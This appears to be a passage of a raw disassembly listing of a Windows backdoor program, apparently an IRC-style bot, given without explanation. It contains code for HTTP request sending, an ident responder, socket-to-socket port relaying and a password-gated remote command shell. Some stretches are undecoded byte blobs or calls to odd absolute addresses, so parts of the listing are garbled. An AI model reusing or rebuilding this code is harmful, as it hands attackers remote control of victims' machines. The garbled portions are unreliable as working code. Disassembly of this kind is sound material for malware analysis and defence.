arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAF14
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAFA4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D158


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFF4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAFA4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEEC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433FC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F80
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEEC[ecx], eax
		call	dword_4CAEB4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFD0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAFCC
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB038
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_43402C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 28E8h
		dd 8B022601h, 0C969C44Dh, 234h,	8189C63Bh, 43DEF4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 3CE89032h, 0EB022600h,	70E890EDh
		dd 50022609h, 433FF068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB024
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAFA4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB028
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF5C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4340B4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEEC[ebx]
		mov	dword_43DEE4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEF0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_434074
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEF0[esi]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEEC[esi]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEF0[esi]
		call	dword_4CB03C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2BF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEEC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEF8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF38
		push	eax
		push	offset unk_43418C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 26D0000h
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D158
		push	dword ptr [esi]
		call	dword_4CAFF4
		cmp	dword_4CDD08, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFF4
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434150
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_434124
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340F8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_4341B8
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341E4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 1415FF00h, 33004CAFh, 74C63BF6h, 5468501Dh, 0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 35F54FE8h, 0C0859002h, 0BCE82975h
		dd 90022603h, 43106850h, 59E80043h, 59000047h, 0FC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEECh, 50E0458Dh
		dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342D4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF84h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h
		dd 0FFFFFBECh, 43429068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0E4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E8E89050h, 8B0225F9h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0F8FDE832h, 0EB900225h, 30E890EDh, 50022602h, 43425468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh
		dd 0FBEC858Dh, 1C68FFFFh, 50004342h, 0AC15E8h, 0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h
		dd 4CB03Ch, 0AEFC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEEC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680DFDh


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 27703D4h
		nop
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_434380
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2680DFDh
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F0C74h


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB03C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_434464
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_434424


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343FC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
